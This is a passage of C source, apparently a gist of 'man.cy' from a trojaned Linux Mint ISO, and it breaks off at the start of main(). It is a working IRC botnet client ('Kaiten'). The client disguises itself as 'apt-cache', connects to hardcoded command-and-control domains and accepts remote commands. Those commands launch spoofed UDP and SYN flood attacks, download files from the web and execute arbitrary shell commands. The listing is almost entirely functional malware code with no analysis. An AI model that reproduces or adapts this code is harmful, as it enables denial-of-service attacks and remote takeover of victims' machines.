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February 21, 2016 09:00
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man.cy from malicious Linux Mint iso
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#define STARTUP 1 | |
#undef IDENT // Only enable this if you absolutely have to | |
#define FAKENAME "apt-cache" // What you want this to hide as | |
#define CHAN "#mint" // Channel to join | |
#define KEY "bleh" // The key of the channel | |
int numservers=5; // Must change this to equal number of servers down there | |
char *servers[] = { | |
"updates.absentvodka.com", | |
"updates.mintylinux.com", | |
"eggstrawdinarry.mylittlerepo.com", | |
"linuxmint.kernel-org.org", | |
"updates.absentvodka.com", | |
(void*)0 | |
}; | |
#include <stdarg.h> | |
#include <errno.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <strings.h> | |
#include <netinet/in.h> | |
#include <unistd.h> | |
#include <sys/time.h> | |
#include <sys/socket.h> | |
#include <signal.h> | |
#include <arpa/inet.h> | |
#include <netdb.h> | |
#include <time.h> | |
#include <sys/wait.h> | |
#include <sys/ioctl.h> | |
int sock,changeservers=0; | |
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256]; | |
unsigned int *pids; | |
unsigned long spoofs=0, spoofsm=0, numpids=0; | |
int strwildmatch(const char* pattern, const char* string) { | |
switch(*pattern) { | |
case '\0': return *string; | |
case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case '?': return !(*string && !strwildmatch(pattern+1, string+1)); | |
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); | |
} | |
} | |
int Send(int sock, char *words, ...) { | |
static char textBuffer[1024]; | |
va_list args; | |
va_start(args, words); | |
vsprintf(textBuffer, words, args); | |
va_end(args); | |
return write(sock,textBuffer,strlen(textBuffer)); | |
} | |
int mfork(char *sender) { | |
unsigned int parent, *newpids, i; | |
if (disabled == 1) { | |
Send(sock,"NOTICE %s :Unable to comply.\n",sender); | |
return 1; | |
} | |
parent=fork(); | |
if (parent <= 0) return parent; | |
numpids++; | |
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
for (i=0;i<numpids-1;i++) newpids[i]=pids[i]; | |
newpids[numpids-1]=parent; | |
free(pids); | |
pids=newpids; | |
return parent; | |
} | |
unsigned long getspoof() { | |
if (!spoofs) return rand(); | |
if (spoofsm == 1) return ntohl(spoofs); | |
return ntohl(spoofs+(rand() % spoofsm)+1); | |
} | |
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; } | |
char *makestring() { | |
char *tmp; | |
int len=(rand()%5)+4,i; | |
FILE *file; | |
tmp=(char*)malloc(len+1); | |
memset(tmp,0,len+1); | |
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65; | |
else { | |
int a=((rand()*rand())%45402)+1; | |
char buf[1024]; | |
for (i=0;i<a;i++) fgets(buf,1024,file); | |
memset(buf,0,1024); | |
fgets(buf,1024,file); | |
filter(buf); | |
memcpy(tmp,buf,len); | |
fclose(file); | |
} | |
return tmp; | |
} | |
void identd() { | |
int sockname,sockfd,sin_size,tmpsock,i; | |
struct sockaddr_in my_addr,their_addr; | |
char szBuffer[1024]; | |
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; | |
my_addr.sin_family = AF_INET; | |
my_addr.sin_port = htons(113); | |
my_addr.sin_addr.s_addr = INADDR_ANY; | |
memset(&(my_addr.sin_zero), 0, 8); | |
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; | |
if (listen(sockfd, 1) == -1) return; | |
if (fork() == 0) return; | |
sin_size = sizeof(struct sockaddr_in); | |
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); | |
for(;;) { | |
fd_set bla; | |
struct timeval timee; | |
FD_ZERO(&bla); | |
FD_SET(tmpsock,&bla); | |
timee.tv_sec=timee.tv_usec=60; | |
if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); | |
if (FD_ISSET(tmpsock,&bla)) break; | |
} | |
i = recv(tmpsock,szBuffer,1024,0); | |
if (i <= 0 || i >= 20) exit(0); | |
szBuffer[i]=0; | |
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; | |
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; | |
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); | |
close(tmpsock); | |
close(sockfd); | |
exit(0); | |
} | |
long pow(long a, long b) { | |
if (b == 0) return 1; | |
if (b == 1) return a; | |
return a*pow(a,b-1); | |
} | |
u_short in_cksum(u_short *addr, int len) { | |
register int nleft = len; | |
register u_short *w = addr; | |
register int sum = 0; | |
u_short answer =0; | |
while (nleft > 1) { | |
sum += *w++; | |
nleft -= 2; | |
} | |
if (nleft == 1) { | |
*(u_char *)(&answer) = *(u_char *)w; | |
sum += answer; | |
} | |
sum = (sum >> 16) + (sum & 0xffff); | |
sum += (sum >> 16); | |
answer = ~sum; | |
return(answer); | |
} | |
void get(int sock, char *sender, int argc, char **argv) { | |
int sock2,i,d; | |
struct sockaddr_in server; | |
unsigned long ipaddr; | |
char buf[1024]; | |
FILE *file; | |
unsigned char bufm[4096]; | |
if (mfork(sender) != 0) return; | |
if (argc < 2) { | |
Send(sock,"NOTICE %s :GET <host> <save as>\n",sender); | |
exit(0); | |
} | |
if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { | |
Send(sock,"NOTICE %s :Unable to create socket.\n",sender); | |
exit(0); | |
} | |
if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); | |
else strcpy(buf,argv[1]); | |
for (i=0;i<strlen(buf) && buf[i] != '/';i++); | |
buf[i]=0; | |
server.sin_family = AF_INET; | |
server.sin_port = htons(80); | |
if ((ipaddr = inet_addr(buf)) == -1) { | |
struct hostent *hostm; | |
if ((hostm=gethostbyname(buf)) == NULL) { | |
Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); | |
exit(0); | |
} | |
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); | |
} | |
else server.sin_addr.s_addr = ipaddr; | |
memset(&(server.sin_zero), 0, 8); | |
if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) { | |
Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); | |
exit(0); | |
} | |
Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf); | |
Send(sock,"NOTICE %s :Receiving file.\n",sender); | |
file=fopen(argv[2],"wb"); | |
while(1) { | |
int i; | |
if ((i=recv(sock2,bufm,4096,0)) <= 0) break; | |
if (i < 4096) bufm[i]=0; | |
for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) { | |
for (d+=4;d<i;d++) fputc(bufm[d],file); | |
goto done; | |
} | |
} | |
done: | |
Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]); | |
while(1) { | |
int i,d; | |
if ((i=recv(sock2,bufm,4096,0)) <= 0) break; | |
if (i < 4096) bufm[i]=0; | |
for (d=0;d<i;d++) fputc(bufm[d],file); | |
} | |
fclose(file); | |
close(sock2); | |
exit(0); | |
} | |
void getspoofs(int sock, char *sender, int argc, char **argv) { | |
unsigned long a=spoofs,b=spoofs+(spoofsm-1); | |
if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]); | |
else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]); | |
} | |
void version(int sock, char *sender, int argc, char **argv) { | |
Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender); | |
} | |
void nickc(int sock, char *sender, int argc, char **argv) { | |
if (argc != 1) { | |
Send(sock,"NOTICE %s :NICK <nick>\n",sender); | |
return; | |
} | |
if (strlen(argv[1]) >= 10) { | |
Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender); | |
return; | |
} | |
Send(sock,"NICK %s\n",argv[1]); | |
} | |
void disable(int sock, char *sender, int argc, char **argv) { | |
if (argc != 1) { | |
Send(sock,"NOTICE %s :DISABLE <pass>\n",sender); | |
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); | |
return; | |
} | |
if (disabled) { | |
Send(sock,"NOTICE %s :Already disabled.\n",sender); | |
return; | |
} | |
if (strlen(argv[1]) > 254) { | |
Send(sock,"NOTICE %s :Password too long! > 254\n",sender); | |
return; | |
} | |
disabled=1; | |
memset(dispass,0,256); | |
strcpy(dispass,argv[1]); | |
Send(sock,"NOTICE %s :Disable sucessful.\n"); | |
} | |
void enable(int sock, char *sender, int argc, char **argv) { | |
if (argc != 1) { | |
Send(sock,"NOTICE %s :ENABLE <pass>\n",sender); | |
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); | |
return; | |
} | |
if (!disabled) { | |
Send(sock,"NOTICE %s :Already enabled.\n",sender); | |
return; | |
} | |
if (strcasecmp(dispass,argv[1])) { | |
Send(sock,"NOTICE %s :Wrong password\n",sender); | |
return; | |
} | |
disabled=0; | |
Send(sock,"NOTICE %s :Password correct.\n",sender); | |
} | |
void spoof(int sock, char *sender, int argc, char **argv) { | |
char ip[256]; | |
int i, num; | |
unsigned long uip; | |
if (argc != 1) { | |
Send(sock,"NOTICE %s :Removed all spoofs\n",sender); | |
spoofs=0; | |
spoofsm=0; | |
return; | |
} | |
if (strlen(argv[1]) > 16) { | |
Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender); | |
return; | |
} | |
strcpy(ip,argv[1]); | |
if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; | |
for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++; | |
num=-(num-4); | |
for (i=0;i<num;i++) strcat(ip,".0"); | |
uip=inet_network(ip); | |
if (num == 0) spoofsm=1; | |
else spoofsm=pow(256,num); | |
spoofs=uip; | |
} | |
struct iphdr { | |
unsigned int ihl:4, version:4; | |
unsigned char tos; | |
unsigned short tot_len; | |
unsigned short id; | |
unsigned short frag_off; | |
unsigned char ttl; | |
unsigned char protocol; | |
unsigned short check; | |
unsigned long saddr; | |
unsigned long daddr; | |
}; | |
struct udphdr { | |
unsigned short source; | |
unsigned short dest; | |
unsigned short len; | |
unsigned short check; | |
}; | |
struct tcphdr { | |
unsigned short source; | |
unsigned short dest; | |
unsigned long seq; | |
unsigned long ack_seq; | |
unsigned short res1:4, doff:4; | |
unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1; | |
unsigned short window; | |
unsigned short check; | |
unsigned short urg_ptr; | |
}; | |
struct send_tcp { | |
struct iphdr ip; | |
struct tcphdr tcp; | |
char buf[20]; | |
}; | |
struct pseudo_header { | |
unsigned int source_address; | |
unsigned int dest_address; | |
unsigned char placeholder; | |
unsigned char protocol; | |
unsigned short tcp_length; | |
struct tcphdr tcp; | |
char buf[20]; | |
}; | |
unsigned int host2ip(char *sender,char *hostname) { | |
static struct in_addr i; | |
struct hostent *h; | |
if((i.s_addr = inet_addr(hostname)) == -1) { | |
if((h = gethostbyname(hostname)) == NULL) { | |
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); | |
exit(0); | |
} | |
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); | |
} | |
return i.s_addr; | |
} | |
void udp(int sock, char *sender, int argc, char **argv) { | |
unsigned int port,i=0; | |
unsigned long psize,target,secs; | |
struct sockaddr_in s_in; | |
struct iphdr *ip; | |
struct udphdr *udp; | |
char buf[1500],*str; | |
int get; | |
time_t start=time(NULL); | |
if (mfork(sender) != 0) return; | |
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); | |
if (argc < 3) { | |
Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender); | |
exit(1); | |
} | |
target = host2ip(sender,argv[1]); | |
port = atoi(argv[2]); | |
secs = atol(argv[3]); | |
ip=(void*)buf; | |
udp=(void*)(buf+sizeof(struct iphdr)); | |
str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr)); | |
memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr))); | |
Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]); | |
ip->ihl = 5; | |
ip->version = 4; | |
ip->tos = 0; | |
ip->tot_len = 1500; | |
ip->frag_off = 0; | |
ip->protocol = 17; | |
ip->ttl = 64; | |
ip->daddr = target; | |
udp->len = htons(psize); | |
s_in.sin_family = AF_INET; | |
s_in.sin_addr.s_addr = target; | |
for (;;) { | |
udp->source = rand(); | |
if (port) udp->dest = htons(port); | |
else udp->dest = rand(); | |
udp->check = in_cksum((u_short *)buf,1500); | |
ip->saddr = getspoof(); | |
ip->id = rand(); | |
ip->check = in_cksum((u_short *)buf,1500); | |
s_in.sin_port = udp->dest; | |
sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in)); | |
if (i >= 50) { | |
if (time(NULL) >= start+secs) exit(0); | |
i=0; | |
} | |
i++; | |
} | |
} | |
void pan(int sock, char *sender, int argc, char **argv) { | |
struct send_tcp send_tcp; | |
struct pseudo_header pseudo_header; | |
struct sockaddr_in sin; | |
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; | |
unsigned int psize=20, source, dest, check; | |
unsigned long saddr, daddr,secs; | |
int get; | |
time_t start=time(NULL); | |
if (mfork(sender) != 0) return; | |
if (argc < 3) { | |
Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender); | |
exit(1); | |
} | |
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); | |
{int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} | |
daddr=host2ip(sender,argv[1]); | |
secs=atol(argv[3]); | |
Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]); | |
send_tcp.ip.ihl = 5; | |
send_tcp.ip.version = 4; | |
send_tcp.ip.tos = 16; | |
send_tcp.ip.frag_off = 64; | |
send_tcp.ip.ttl = 64; | |
send_tcp.ip.protocol = 6; | |
send_tcp.tcp.ack_seq = 0; | |
send_tcp.tcp.doff = 10; | |
send_tcp.tcp.res1 = 0; | |
send_tcp.tcp.cwr = 0; | |
send_tcp.tcp.ece = 0; | |
send_tcp.tcp.urg = 0; | |
send_tcp.tcp.ack = 0; | |
send_tcp.tcp.psh = 0; | |
send_tcp.tcp.rst = 0; | |
send_tcp.tcp.fin = 0; | |
send_tcp.tcp.syn = 1; | |
send_tcp.tcp.window = 30845; | |
send_tcp.tcp.urg_ptr = 0; | |
dest=htons(atoi(argv[2])); | |
while(1) { | |
source=rand(); | |
if (atoi(argv[2]) == 0) dest=rand(); | |
saddr=getspoof(); | |
send_tcp.ip.tot_len = htons(40+psize); | |
send_tcp.ip.id = rand(); | |
send_tcp.ip.saddr = saddr; | |
send_tcp.ip.daddr = daddr; | |
send_tcp.ip.check = 0; | |
send_tcp.tcp.source = source; | |
send_tcp.tcp.dest = dest; | |
send_tcp.tcp.seq = rand(); | |
send_tcp.tcp.check = 0; | |
sin.sin_family = AF_INET; | |
sin.sin_port = dest; | |
sin.sin_addr.s_addr = send_tcp.ip.daddr; | |
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); | |
check = rand(); | |
send_tcp.buf[9]=((char*)&check)[0]; | |
send_tcp.buf[10]=((char*)&check)[1]; | |
send_tcp.buf[11]=((char*)&check)[2]; | |
send_tcp.buf[12]=((char*)&check)[3]; | |
pseudo_header.source_address = send_tcp.ip.saddr; | |
pseudo_header.dest_address = send_tcp.ip.daddr; | |
pseudo_header.placeholder = 0; | |
pseudo_header.protocol = IPPROTO_TCP; | |
pseudo_header.tcp_length = htons(20+psize); | |
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); | |
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); | |
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); | |
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); | |
if (a >= 50) { | |
if (time(NULL) >= start+secs) exit(0); | |
a=0; | |
} | |
a++; | |
} | |
close(get); | |
exit(0); | |
} | |
void tsunami(int sock, char *sender, int argc, char **argv) { | |
struct send_tcp send_tcp; | |
struct pseudo_header pseudo_header; | |
struct sockaddr_in sin; | |
unsigned int psize=1400, check,i; | |
unsigned long saddr, daddr,secs; | |
int get; | |
time_t start=time(NULL); | |
if (mfork(sender) != 0) return; | |
if (argc < 2) { | |
Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender); | |
exit(1); | |
} | |
secs=atol(argv[2]); | |
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); | |
srand(time(NULL) ^ getpid()); | |
memset(send_tcp.buf,rand(),psize); | |
daddr=host2ip(sender,argv[1]); | |
Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]); | |
while(1) { | |
saddr=getspoof(); | |
send_tcp.ip.ihl = 5; | |
send_tcp.ip.version = 4; | |
send_tcp.ip.tos = 16; | |
send_tcp.ip.tot_len = htons(40+psize); | |
send_tcp.ip.id = rand(); | |
send_tcp.ip.frag_off = 64; | |
send_tcp.ip.ttl = 64; | |
send_tcp.ip.protocol = 6; | |
send_tcp.ip.check = 0; | |
send_tcp.ip.saddr = saddr; | |
send_tcp.ip.daddr = daddr; | |
send_tcp.tcp.source = rand(); | |
send_tcp.tcp.dest = rand(); | |
send_tcp.tcp.seq = rand(); | |
send_tcp.tcp.ack_seq = rand(); | |
send_tcp.tcp.doff = 5; | |
send_tcp.tcp.res1 = 0; | |
send_tcp.tcp.cwr = 0; | |
send_tcp.tcp.ece = 0; | |
send_tcp.tcp.urg = 0; | |
send_tcp.tcp.ack = 1; | |
send_tcp.tcp.psh = 1; | |
send_tcp.tcp.rst = 0; | |
send_tcp.tcp.fin = 0; | |
send_tcp.tcp.syn = 0; | |
send_tcp.tcp.window = 30845; | |
send_tcp.tcp.check = 0; | |
send_tcp.tcp.urg_ptr = 0; | |
sin.sin_family = AF_INET; | |
sin.sin_port = send_tcp.tcp.dest; | |
sin.sin_addr.s_addr = send_tcp.ip.daddr; | |
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); | |
check = in_cksum((unsigned short *)&send_tcp, 40); | |
pseudo_header.source_address = send_tcp.ip.saddr; | |
pseudo_header.dest_address = send_tcp.ip.daddr; | |
pseudo_header.placeholder = 0; | |
pseudo_header.protocol = IPPROTO_TCP; | |
pseudo_header.tcp_length = htons(20+psize); | |
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); | |
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); | |
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); | |
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); | |
if (i >= 50) { | |
if (time(NULL) >= start+secs) break; | |
i=0; | |
} | |
i++; | |
} | |
close(get); | |
exit(0); | |
} | |
void unknown(int sock, char *sender, int argc, char **argv) { | |
int flag=1,fd,i; | |
unsigned long secs; | |
char *buf=(char*)malloc(9216); | |
struct hostent *hp; | |
struct sockaddr_in in; | |
time_t start=time(NULL); | |
if (mfork(sender) != 0) return; | |
if (argc < 2) { | |
Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender); | |
exit(1); | |
} | |
secs=atol(argv[2]); | |
memset((void*)&in,0,sizeof(struct sockaddr_in)); | |
in.sin_addr.s_addr=host2ip(sender,argv[1]); | |
in.sin_family = AF_INET; | |
Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]); | |
while(1) { | |
in.sin_port = rand(); | |
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); | |
else { | |
flag=1; | |
ioctl(fd,FIONBIO,&flag); | |
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in)); | |
close(fd); | |
} | |
if (i >= 50) { | |
if (time(NULL) >= start+secs) break; | |
i=0; | |
} | |
i++; | |
} | |
close(fd); | |
exit(0); | |
} | |
void move(int sock, char *sender, int argc, char **argv) { | |
if (argc < 1) { | |
Send(sock,"NOTICE %s :MOVE <server>\n",sender); | |
exit(1); | |
} | |
server=strdup(argv[1]); | |
changeservers=1; | |
close(sock); | |
} | |
void help(int sock, char *sender, int argc, char **argv) { | |
if (mfork(sender) != 0) return; | |
Send(sock,"NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :NICK <nick> = Changes the nick of the client\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :SERVER <server> = Changes servers\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :GETSPOOFS = Gets the current spoofing\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :DISABLE = Disables all packeting from this client\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :ENABLE = Enables all packeting from this client\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :KILL = Kills the client\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :VERSION = Requests version of client\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :KILLALL = Kills all current packeting\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :HELP = Displays this\n",sender); | |
Send(sock,"NOTICE %s :IRC <command> = Sends this command to the server\n",sender); sleep(2); | |
Send(sock,"NOTICE %s :SH <command> = Executes a command\n",sender); sleep(2); | |
exit(0); | |
} | |
void killall(int sock, char *sender, int argc, char **argv) { | |
unsigned long i; | |
for (i=0;i<numpids;i++) { | |
if (pids[i] != 0 && pids[i] != getpid()) { | |
if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]); | |
kill(pids[i],9); | |
} | |
} | |
} | |
void killd(int sock, char *sender, int argc, char **argv) { | |
if (!disable) kill(0,9); | |
else Send(sock,"NOTICE %s :Unable to comply.\n"); | |
} | |
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = { | |
{ "TSUNAMI", tsunami }, | |
{ "PAN", pan }, | |
{ "UDP", udp }, | |
{ "UNKNOWN", unknown }, | |
{ "NICK", nickc }, | |
{ "SERVER", move }, | |
{ "GETSPOOFS", getspoofs }, | |
{ "SPOOFS", spoof }, | |
{ "DISABLE", disable }, | |
{ "ENABLE", enable }, | |
{ "KILL", killd }, | |
{ "GET", get }, | |
{ "VERSION", version }, | |
{ "KILLALL", killall }, | |
{ "HELP", help }, | |
{ (char *)0, (void (*)(int,char *,int,char **))0 } }; | |
void _PRIVMSG(int sock, char *sender, char *str) { | |
int i; | |
char *to, *message; | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
to=str; | |
message=str+i+2; | |
for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
sender[i]=0; | |
if (*message == '!' && !strcasecmp(to,chan)) { | |
char *params[12], name[1024]={0}; | |
int num_params=0, m; | |
message++; | |
for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
message[i]=0; | |
if (strwildmatch(message,nick)) return; | |
message+=i+1; | |
if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4); | |
if (!strncmp(message,"SH ",3)) { | |
char buf[1024]; | |
FILE *command; | |
if (mfork(sender) != 0) return; | |
memset(buf,0,1024); | |
sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3); | |
command=popen(buf,"r"); | |
while(!feof(command)) { | |
memset(buf,0,1024); | |
fgets(buf,1024,command); | |
Send(sock,"NOTICE %s :%s\n",sender,buf); | |
sleep(1); | |
} | |
pclose(command); | |
exit(0); | |
} | |
m=strlen(message); | |
for (i=0;i<m;i++) { | |
if (*message == ' ' || *message == 0) break; | |
name[i]=*message; | |
message++; | |
} | |
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; | |
num_params++; | |
if (num_params > 10) num_params=10; | |
params[0]=name; | |
params[num_params+1]="\0"; | |
m=1; | |
while (*message != 0) { | |
message++; | |
if (m >= num_params) break; | |
for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
params[m]=(char*)malloc(i+1); | |
strncpy(params[m],message,i); | |
params[m][i]=0; | |
m++; | |
message+=i; | |
} | |
for (m=0; flooders[m].cmd != (char *)0; m++) { | |
if (!strcasecmp(flooders[m].cmd,name)) { | |
flooders[m].func(sock,sender,num_params-1,params); | |
for (i=1;i<num_params;i++) free(params[i]); | |
return; | |
} | |
} | |
} | |
} | |
void _376(int sock, char *sender, char *str) { | |
Send(sock,"MODE %s -xi\n",nick); | |
Send(sock,"JOIN %s :%s\n",chan,key); | |
Send(sock,"WHO %s\n",nick); | |
} | |
void _PING(int sock, char *sender, char *str) { | |
Send(sock,"PONG %s\n",str); | |
} | |
void _352(int sock, char *sender, char *str) { | |
int i,d; | |
char *msg=str; | |
struct hostent *hostm; | |
unsigned long m; | |
for (i=0,d=0;d<5;d++) { | |
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
if (i == strlen(str)) return; | |
} | |
for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
msg[i]=0; | |
if (!strcasecmp(msg,nick) && !spoofsm) { | |
msg=str; | |
for (i=0,d=0;d<3;d++) { | |
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
if (i == strlen(str)) return; | |
} | |
for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
msg[i]=0; | |
if ((m = inet_addr(msg)) == -1) { | |
if ((hostm=gethostbyname(msg)) == NULL) { | |
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan); | |
return; | |
} | |
memcpy((char*)&m, hostm->h_addr, hostm->h_length); | |
} | |
((char*)&spoofs)[3]=((char*)&m)[0]; | |
((char*)&spoofs)[2]=((char*)&m)[1]; | |
((char*)&spoofs)[1]=((char*)&m)[2]; | |
((char*)&spoofs)[0]=0; | |
spoofsm=256; | |
} | |
} | |
void _433(int sock, char *sender, char *str) { | |
free(nick); | |
nick=makestring(); | |
} | |
void _NICK(int sock, char *sender, char *str) { | |
int i; | |
for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
sender[i]=0; | |
if (!strcasecmp(sender,nick)) { | |
if (*str == ':') str++; | |
if (nick) free(nick); | |
nick=strdup(str); | |
} | |
} | |
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = { | |
{ "352", _352 }, | |
{ "376", _376 }, | |
{ "433", _433 }, | |
{ "422", _376 }, | |
{ "PRIVMSG", _PRIVMSG }, | |
{ "PING", _PING }, | |
{ "NICK", _NICK }, | |
{ (char *)0, (void (*)(int,char *,char *))0 } }; | |
void con() { | |
struct sockaddr_in srv; | |
unsigned long ipaddr,start; | |
int flag; | |
struct hostent *hp; | |
start: | |
sock=-1; | |
flag=1; | |
if (changeservers == 0) server=servers[rand()%numservers]; | |
changeservers=0; | |
while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); | |
if (inet_addr(server) == 0 || inet_addr(server) == -1) { | |
if ((hp = gethostbyname(server)) == NULL) { | |
server=NULL; | |
close(sock); | |
goto start; | |
} | |
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length); | |
} | |
else srv.sin_addr.s_addr=inet_addr(server); | |
srv.sin_family = AF_INET; | |
srv.sin_port = htons(6667); | |
ioctl(sock,FIONBIO,&flag); | |
start=time(NULL); | |
while(time(NULL)-start < 10) { | |
errno=0; | |
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) { | |
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); | |
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); | |
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); | |
return; | |
} | |
if (!(errno == EINPROGRESS ||errno == EALREADY)) break; | |
sleep(1); | |
} | |
server=NULL; | |
close(sock); | |
goto start; | |
} | |
int main(int argc, char **argv) { | |
int on,i; | |
char cwd[256],*str; | |
FILE *file; | |
